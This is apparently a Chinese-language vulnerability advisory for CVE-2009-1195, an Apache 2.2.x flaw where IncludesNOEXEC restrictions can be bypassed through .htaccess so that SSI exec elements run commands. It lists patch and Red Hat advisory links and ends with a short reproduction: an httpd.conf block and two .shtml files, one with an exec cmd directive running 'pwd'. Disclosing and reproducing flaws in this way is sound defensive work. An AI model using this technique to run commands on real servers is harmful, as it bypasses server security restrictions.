BUGTRAQ ID: 35115
CVE(CAN) ID: CVE-2009-1195
Apache HTTP Server是一款流行的Web服务器。
Apache HTTP Server没有正确地处理AllowOverride指令中的Options=IncludesNOEXEC选项,本地用户可以通过在.htaccess文件中配置(1) Options Includes、(2) Options +Includes或(3) Options +IncludesNOEXEC并在.shtml文件中注入exec元素导致绕过安全限制获得权限。
Apache 2.2.x
厂商补丁:
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
<a href=“http://svn.apache.org/viewvc?view=rev&revision=652885” target=“_blank”>http://svn.apache.org/viewvc?view=rev&revision=652885</a>
RedHat已经为此发布了一个安全公告(RHSA-2009:1075-01)以及相应补丁:
RHSA-2009:1075-01:Moderate: httpd security update
链接:<a href=“https://www.redhat.com/support/errata/RHSA-2009-1075.html” target=“_blank”>https://www.redhat.com/support/errata/RHSA-2009-1075.html</a>
向httpd.conf中添加:
<Directory "/var/www/html/test">
Options None
AllowOverride Options=IncludesNoEXEC
</Directory
在/var/www/html/test中创建以下两个文件:
index.shtml:
<html>
<body>
<p>
This document last modified <!--#flastmod file="front.shtml" -->
</p>
<p>Start include:</p>
<!--#include virtual="/test/test.shtml" -->
<p>End include</p>
</body></html>
test.shtml:
<html>
<body>
<p>start</p>
<pre>
<!--#exec cmd="pwd" -->
</pre>
<p>end</p>
</body>
</html>